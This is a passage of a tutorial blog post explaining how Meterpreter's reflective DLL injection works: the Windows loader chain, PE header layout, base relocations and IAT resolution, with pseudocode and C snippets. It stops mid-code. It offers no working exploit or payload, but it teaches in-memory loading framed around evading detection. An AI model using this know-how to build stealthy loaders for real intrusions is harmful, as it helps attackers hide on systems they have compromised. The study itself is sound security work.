&lt;p&gt;During our journey of penetration testing and solving labs, we realize how useful Meterpreter actually is. That got me thinking — what actually &lt;em&gt;is&lt;/em&gt; Meterpreter under the hood, and how does it do what it does?&lt;/p&gt;

&lt;p&gt;So I did some research, used AI to understand the concept behind it — something called &lt;strong&gt;Reflective DLL Loading&lt;/strong&gt; — and put together a complete reading material that'll help you understand it too.&lt;/p&gt;

&lt;p&gt;Now let's hop in!&lt;/p&gt;

&lt;h2&gt;
  
  
  Meterpreter Never Touched Your Disk — Here's Exactly How That's Possible
&lt;/h2&gt;

&lt;p&gt;You run &lt;code&gt;exploit&lt;/code&gt;. Few seconds pass. Shell drops.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You're in.&lt;/p&gt;

&lt;p&gt;Now here's the thing — go check the target machine. Open File Explorer. Search for any new &lt;code&gt;.exe&lt;/code&gt;. Any new &lt;code&gt;.dll&lt;/code&gt;. Anything suspicious sitting on disk.&lt;/p&gt;

&lt;p&gt;You'll find nothing.&lt;/p&gt;

&lt;p&gt;Task Manager shows &lt;code&gt;notepad.exe&lt;/code&gt; running. Perfectly normal. Just a guy taking notes. Except Meterpreter is living inside it, sending your commands back to Kali, completely invisible to anyone who doesn't know where to look.&lt;/p&gt;

&lt;p&gt;Most people hear "Meterpreter runs in memory" and nod like they understood something. They didn't. That sentence explains nothing. It's like saying "the engine makes the car go." Technically true. Completely useless.&lt;/p&gt;

&lt;p&gt;Here's the question that actually matters:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Windows loads DLLs using &lt;code&gt;LoadLibrary&lt;/code&gt;. &lt;code&gt;LoadLibrary&lt;/code&gt; requires a file path. There's no file. So how is anything loading?&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's what this blog answers. And the answer — &lt;strong&gt;Reflective DLL Injection&lt;/strong&gt; — is one of the most elegant pieces of systems programming in offensive security. By the end of this post, you'll understand exactly what's happening at the memory level every time you get a Meterpreter session.&lt;/p&gt;

&lt;p&gt;Let's get into it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Chapter 1: What LoadLibrary Actually Does (It's Not What You Think)
&lt;/h2&gt;

&lt;p&gt;Before we understand how Meterpreter bypasses the loader, we need to understand the loader itself. Because most people have a mental model that looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You call LoadLibrary("something.dll")
              ↓
         Magic happens
              ↓
    DLL is now loaded. Cool.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That mental model is wrong. And the gap between "magic happens" and what actually happens is exactly where reflective injection lives.&lt;/p&gt;

&lt;p&gt;Here's what &lt;code&gt;LoadLibrary&lt;/code&gt; actually does when you call it:&lt;/p&gt;

&lt;h3&gt;
  
  
  The Real Chain of Calls
&lt;/h3&gt;

&lt;p&gt;When you call &lt;code&gt;LoadLibrary("version.dll")&lt;/code&gt; in your code, you're not calling a function that loads DLLs. You're calling a function in &lt;code&gt;kernel32.dll&lt;/code&gt; that calls a function in &lt;code&gt;ntdll.dll&lt;/code&gt; that &lt;em&gt;actually&lt;/em&gt; loads DLLs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Your Code
    │
    │  calls LoadLibraryA("version.dll")
    ▼
kernel32.dll  →  Win32 wrapper. Validates arguments. Does bookkeeping.
    │
    │  calls LdrLoadDll()
    ▼
ntdll.dll  →  The REAL loader. This is where the work happens.
    │
    │  calls NtOpenFile, NtCreateSection, NtMapViewOfSection
    ▼
Windows Kernel  →  Actual memory operations happen here
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Think of it like ordering food at a restaurant. You (your code) tell the waiter (kernel32) what you want. The waiter writes it down and hands it to the kitchen (ntdll). The kitchen actually cooks it (kernel). You just said "I want a burger." You had no idea about the 15 steps that happened in the kitchen.&lt;/p&gt;

&lt;h3&gt;
  
  
  The 5 Things the Loader Does
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;LdrLoadDll&lt;/code&gt; inside &lt;code&gt;ntdll.dll&lt;/code&gt; performs five completely distinct operations. Every single one matters for understanding reflective injection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Opens the file from disk&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NtOpenFile("C:\Windows\System32\version.dll")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loader takes your DLL name, figures out the full path (using the search order from the DLL Hijacking blog), and opens a file handle. This is step one. This is also the hard wall — no file on disk means this step fails and everything stops.&lt;/p&gt;

&lt;p&gt;This is the exact wall that reflective injection has to break through.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Maps the file into memory as a "section object"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's a concept most people have never heard of: a &lt;strong&gt;section object&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Think of a section object as a blueprint that Windows creates to represent a file mapped into memory. The loader calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;NtCreateSection&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;    &lt;span class="c1"&gt;// create the blueprint from the file&lt;/span&gt;
&lt;span class="n"&gt;NtMapViewOfSection&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// project the blueprint into the process's memory space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;SEC_IMAGE&lt;/code&gt; flag on &lt;code&gt;NtCreateSection&lt;/code&gt; is important. It tells the kernel: &lt;em&gt;"this isn't just a raw file — it's a PE image, map it respecting PE alignment rules."&lt;/em&gt; Without this flag, the bytes land in memory in the wrong layout.&lt;/p&gt;

&lt;p&gt;After this step, the DLL bytes are in memory. But the DLL is &lt;strong&gt;not usable yet&lt;/strong&gt;. There are two more problems that need fixing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.  Applies base relocations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the step that confuses most beginners. Let's use an analogy.&lt;/p&gt;

&lt;p&gt;Imagine you're a contractor building a house. Your blueprints say: &lt;em&gt;"The kitchen is at coordinates (100, 200) on the plot."&lt;/em&gt; You show up to the actual plot and the available space starts at coordinate (500, 600). Now every room listed in the blueprint is at the wrong place. You need to go through every reference in the blueprint and add the offset: (400, 400).&lt;/p&gt;

&lt;p&gt;That's exactly what base relocations are.&lt;/p&gt;

&lt;p&gt;When a DLL gets compiled, the compiler assumes it will be loaded at a specific address in memory — called the &lt;strong&gt;preferred ImageBase&lt;/strong&gt; (e.g. &lt;code&gt;0x10000000&lt;/code&gt;). The compiler then hardcodes addresses throughout the binary based on that assumption. Things like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov rax, 0x10001234    ; "put the address of my_global_variable into rax"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;0x10001234&lt;/code&gt; is &lt;code&gt;ImageBase (0x10000000) + offset_of_variable (0x1234)&lt;/code&gt;. It's burned into the binary at compile time.&lt;/p&gt;

&lt;p&gt;Now ASLR (Address Space Layout Randomization) — a security feature — loads the DLL at a &lt;strong&gt;random&lt;/strong&gt; address. Say &lt;code&gt;0x7FF840000000&lt;/code&gt;. Now that hardcoded &lt;code&gt;0x10001234&lt;/code&gt; points to completely wrong memory. The DLL would crash instantly.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;.reloc&lt;/code&gt; section inside the DLL contains a list of every single place where a hardcoded address exists. The loader reads this list and patches each address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;delta = actual_load_address - preferred_ImageBase
      = 0x7FF840000000  -  0x10000000
      = 0x7FF830000000

For every hardcoded address:
    *address += delta
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this, every pointer in the DLL points to the right place. The blueprint coordinates are corrected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4.  Resolves the Import Address Table (IAT)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DLLs don't live in isolation. &lt;code&gt;version.dll&lt;/code&gt; needs functions from &lt;code&gt;kernel32.dll&lt;/code&gt;. &lt;code&gt;kernel32.dll&lt;/code&gt; needs functions from &lt;code&gt;ntdll.dll&lt;/code&gt;. Every DLL has a shopping list of functions it needs from other DLLs.&lt;/p&gt;

&lt;p&gt;But here's the problem: those functions are at different memory addresses on every system, every Windows version, every reboot (thanks again, ASLR).&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Import Address Table (IAT)&lt;/strong&gt; is a table of slots inside the DLL — one slot per imported function. Before the loader runs, those slots contain placeholder values (function names or ordinal numbers — just hints). After the loader runs, those slots contain &lt;strong&gt;real memory addresses&lt;/strong&gt; of the actual functions.&lt;/p&gt;

&lt;p&gt;The loader's process:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;For each DLL that version.dll imports from:
    Load that DLL (recursively, if needed)

    For each function version.dll needs from it:
        Find the function's actual address in memory
        Write that address into the correct IAT slot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this step, when &lt;code&gt;version.dll&lt;/code&gt; calls &lt;code&gt;CreateFile&lt;/code&gt;, it reads the IAT slot for &lt;code&gt;CreateFile&lt;/code&gt;, gets the real address, and jumps there. Without IAT resolution, every function call in the DLL jumps to garbage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Calls DllMain&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With relocations patched and imports resolved, the DLL is finally alive. The loader calls the DLL's entry point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module_handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The DLL initialises itself. Sets up internal state. Does whatever it needs to do on load.&lt;/p&gt;

&lt;p&gt;And then — this is the part that matters for detection — the loader registers the DLL in a structure called &lt;code&gt;InMemoryOrderModuleList&lt;/code&gt; inside the PEB. The OS now officially knows this DLL is loaded. It has a record of it. Tools like Process Hacker can see it in the Modules tab.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Meterpreter never goes through any of this.&lt;/strong&gt; It does all five steps itself. In memory. Without asking the OS for help.&lt;/p&gt;

&lt;h2&gt;
  
  
  Chapter 2: The PE File — The Map Everything Reads
&lt;/h2&gt;

&lt;p&gt;To understand how the reflective loader works, you need to understand what it's reading. Every &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.dll&lt;/code&gt; on Windows is a &lt;strong&gt;PE file&lt;/strong&gt; — Portable Executable format. It's a structured container with a very specific layout.&lt;/p&gt;

&lt;p&gt;Think of a PE file like a building with a lobby directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Ground floor = Headers (the directory — tells you where everything is)
Upper floors  = Sections (the actual contents — code, data, etc.)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's the full layout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│           DOS Header                    │ ← First 64 bytes. Starts with "MZ"
│  (e_lfanew field → points to NT Headers)│
├─────────────────────────────────────────┤
│           DOS Stub                      │ ← "This program cannot be run in DOS   |                                         |      mode"
│                                         │   (nobody cares about this)
├─────────────────────────────────────────┤
│           NT Headers                    │ ← Starts with "PE\0\0" signature
│  ┌──────────────────────────────────┐   │
│  │        File Header               │   │ ← Machine type, section count
│  ├──────────────────────────────────┤   │
│  │        Optional Header           │   │ ← ImageBase, SizeOfImage, EntryPoint
│  │        (NOT actually optional)   │   │   DataDirectory array
│  └──────────────────────────────────┘   │
├─────────────────────────────────────────┤
│        Section Headers Array            │ ← One entry per section
│  [ .text header ][ .data header ] ...   │
├─────────────────────────────────────────┤
│              Sections                   │
│  ┌──────────┐ ← .text  (executable code)│
│  ├──────────┤ ← .data  (global variables)│
│  ├──────────┤ ← .rdata (strings, IAT)   │
│  └──────────┘ ← .reloc (relocation table)│
└─────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's walk through what actually matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  The DOS Header — The Old Guy at the Front Desk
&lt;/h3&gt;

&lt;p&gt;The very first structure in every PE file. It exists for backward compatibility with DOS (yes, from the 1980s). Most of it is completely irrelevant today.&lt;/p&gt;

&lt;p&gt;The only field that matters: &lt;code&gt;e_lfanew&lt;/code&gt; at offset &lt;code&gt;0x3C&lt;/code&gt;. It's a 4-byte value that tells you the offset to the NT Headers. The reflective loader reads this to skip the entire DOS section and jump straight to the real headers.&lt;/p&gt;

&lt;p&gt;Also: the first two bytes are always &lt;code&gt;4D 5A&lt;/code&gt; — ASCII for &lt;code&gt;MZ&lt;/code&gt; (initials of Mark Zbikowski, one of the DOS architects). This &lt;code&gt;MZ&lt;/code&gt; signature is how the reflective loader scans backwards through memory to find the start of its own PE. It's looking for that exact magic number.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Optional Header — The Most Important Thing in the File
&lt;/h3&gt;

&lt;p&gt;Called "optional" by the spec. Absolutely not optional in practice. This is the loader's primary reference document for every decision it makes.&lt;/p&gt;

&lt;p&gt;The reflective loader reads these specific fields:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;What It Means in Plain English&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ImageBase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"I'd like to be loaded at address &lt;code&gt;0x180000000&lt;/code&gt; please"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SizeOfImage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"I need exactly X bytes of memory when fully loaded"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SizeOfHeaders&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"The first X bytes are headers — copy those first"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AddressOfEntryPoint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"Call this address (+ image base) to run DllMain"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DataDirectory[1]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"The IAT info starts here"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DataDirectory[5]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"The relocation table starts here"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One concept you'll see everywhere: &lt;strong&gt;RVA (Relative Virtual Address)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Almost nothing in PE headers is an absolute address. Everything is a &lt;em&gt;relative&lt;/em&gt; offset from the image base. To get an actual usable address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Real Address = Where the DLL actually loaded + RVA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Real-world analogy: your friend says "meet me at house number 42 on Oak Street." That's an absolute address. RVA is like saying "meet me 42 houses down from where I'm standing." The actual location depends on where you're currently standing (the image base).&lt;/p&gt;

&lt;p&gt;The reflective loader converts RVAs to real addresses constantly as it works through the file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Section Headers — The Table of Contents
&lt;/h3&gt;

&lt;p&gt;Immediately after the Optional Header is an array of &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt; structures — one per section. Each entry is like a card in a filing cabinet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.text section header:
    Name:              ".text"
    VirtualAddress:    0x1000        ← where it goes IN MEMORY (RVA)
    VirtualSize:       0x4A20        ← how big it is in memory
    PointerToRawData:  0x400         ← where it is IN THE FILE
    SizeOfRawData:     0x4A00        ← how many bytes in the file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loader uses these to know: &lt;em&gt;"take the bytes starting at file offset 0x400, and copy them to memory offset 0x1000 (relative to image base)."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There's often a size mismatch between &lt;code&gt;SizeOfRawData&lt;/code&gt; and &lt;code&gt;VirtualSize&lt;/code&gt;. The extra space in memory gets zero-padded. The loader handles this automatically.&lt;/p&gt;

&lt;h2&gt;
  
  
  Chapter 3: Base Relocations — The Most Underexplained Thing in Windows
&lt;/h2&gt;

&lt;p&gt;Let's go deep on this because almost every blog handwaves it with "ASLR randomizes addresses so the loader patches them." That's not enough.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Structure of the &lt;code&gt;.reloc&lt;/code&gt; Section
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;.reloc&lt;/code&gt; section is organised in blocks. Each block covers a 4KB page of the PE image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌────────────────────────────────────────────┐
│  IMAGE_BASE_RELOCATION Block               │
│  ┌──────────────┬───────────────────────┐  │
│  │VirtualAddress│  0x1000               │  │ ← "this block covers the page at    |  |                                      |  |     RVA 0x1000"
│  ├──────────────┼───────────────────────┤  │
│  │SizeOfBlock   │  0x28                 │  │ ← total size of this block
│  ├──────────────┴───────────────────────┤  │
│  │  Entry: 0xA010  (type=10, offset=010)│  │ ← patch address at page_base + 0x010
│  │  Entry: 0xA048  (type=10, offset=048)│  │ ← patch address at page_base + 0x048
│  │  Entry: 0xA0C4  (type=10, offset=0C4)│  │ ← patch address at page_base + 0x0C4
│  └───────────────────────────────────────┘ │
└────────────────────────────────────────────┘
         (repeat for every 4KB page that has relocations)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each 16-bit entry in the block:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Top 4 bits&lt;/strong&gt; = type. For x64, this is &lt;code&gt;0xA&lt;/code&gt; (meaning DIR64 — patch a full 8-byte address). For x86, it's &lt;code&gt;0x3&lt;/code&gt; (HIGHLOW — patch a 4-byte address). Type &lt;code&gt;0x0&lt;/code&gt; means padding, skip it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bottom 12 bits&lt;/strong&gt; = offset within the 4KB page where the patch goes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So entry &lt;code&gt;0xA048&lt;/code&gt; means: type=A (DIR64), offset=0x048 into this page. Patch the 8 bytes at &lt;code&gt;image_base + block.VirtualAddress + 0x048&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Math the Reflective Loader Does
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Pseudocode for what the relocation loop does
&lt;/span&gt;
&lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;preferred_ImageBase&lt;/span&gt;
&lt;span class="c1"&gt;# e.g. delta = 0x7FF840000000 - 0x180000000 = 0x7FF6C0000000
&lt;/span&gt;
&lt;span class="n"&gt;reloc_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;DataDirectory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;reloc_block&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;page_rva&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reloc_block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt;
    &lt;span class="n"&gt;entries&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reloc_block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SizeOfBlock&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;   &lt;span class="c1"&gt;# 8 bytes for the header
&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;type&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;        &lt;span class="c1"&gt;# top 4 bits
&lt;/span&gt;        &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFF&lt;/span&gt;      &lt;span class="c1"&gt;# bottom 12 bits
&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0xA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# DIR64 (x64)
&lt;/span&gt;            &lt;span class="n"&gt;address_to_patch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;page_rva&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;
            &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;address_to_patch&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt;

    &lt;span class="n"&gt;reloc_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;   &lt;span class="c1"&gt;# advance by SizeOfBlock bytes
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every hardcoded address in the binary gets the same delta added. After this loop, every pointer in the DLL points to valid memory — regardless of where ASLR decided to put it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Chapter 4: The IAT — The DLL's Phone Book
&lt;/h2&gt;

&lt;p&gt;Here's a visual of what the IAT looks like before and after resolution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BEFORE loader resolves IAT:
┌─────────────────────────────────────────────────────┐
│  Import Directory                                   │
│  ┌─────────────────────────────────────────────┐    │
│  │  Importing from: "KERNEL32.dll"             │    │
│  │                                             │    │
│  │  IAT slot for CreateFile:    [  "CreateFile"  ]  │ ← just a name, not an      |  |                                                  |      address
│  │  IAT slot for VirtualAlloc:  [ "VirtualAlloc" ]  │
│  │  IAT slot for ReadFile:      [  "ReadFile"    ]  │
│  └─────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────┘

AFTER loader resolves IAT:
┌─────────────────────────────────────────────────────┐
│  Import Directory                                   │
│  ┌─────────────────────────────────────────────┐    │
│  │  Importing from: "KERNEL32.dll"             │    │
│  │                                             │    │
│  │  IAT slot for CreateFile:    [ 0x7FF8A1234560 ]  │ ← real address in memory
│  │  IAT slot for VirtualAlloc:  [ 0x7FF8A1289A00 ]  │
│  │  IAT slot for ReadFile:      [ 0x7FF8A1234990 ]  │
│  └─────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the DLL's code calls &lt;code&gt;CreateFile&lt;/code&gt;, it doesn't jump directly to an address — it reads the IAT slot first, then jumps to whatever address is stored there. Like looking up a contact in your phone before calling them. The name is fixed. The number can change.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Import Descriptor Structure
&lt;/h3&gt;

&lt;p&gt;For each imported DLL, the Import Directory contains an &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IMAGE_IMPORT_DESCRIPTOR for "KERNEL32.dll":
┌──────────────────────┬────────────────────────────────────────┐
│ OriginalFirstThunk   │ → points to Import Name Table (hints)  │
│ Name                 │ → points to string "KERNEL32.dll"      │
│ FirstThunk           │ → points to IAT (where addresses go)   │
└──────────────────────┴────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resolution loop the reflective loader runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;import_directory&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// get the DLL name and load it&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;dll_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
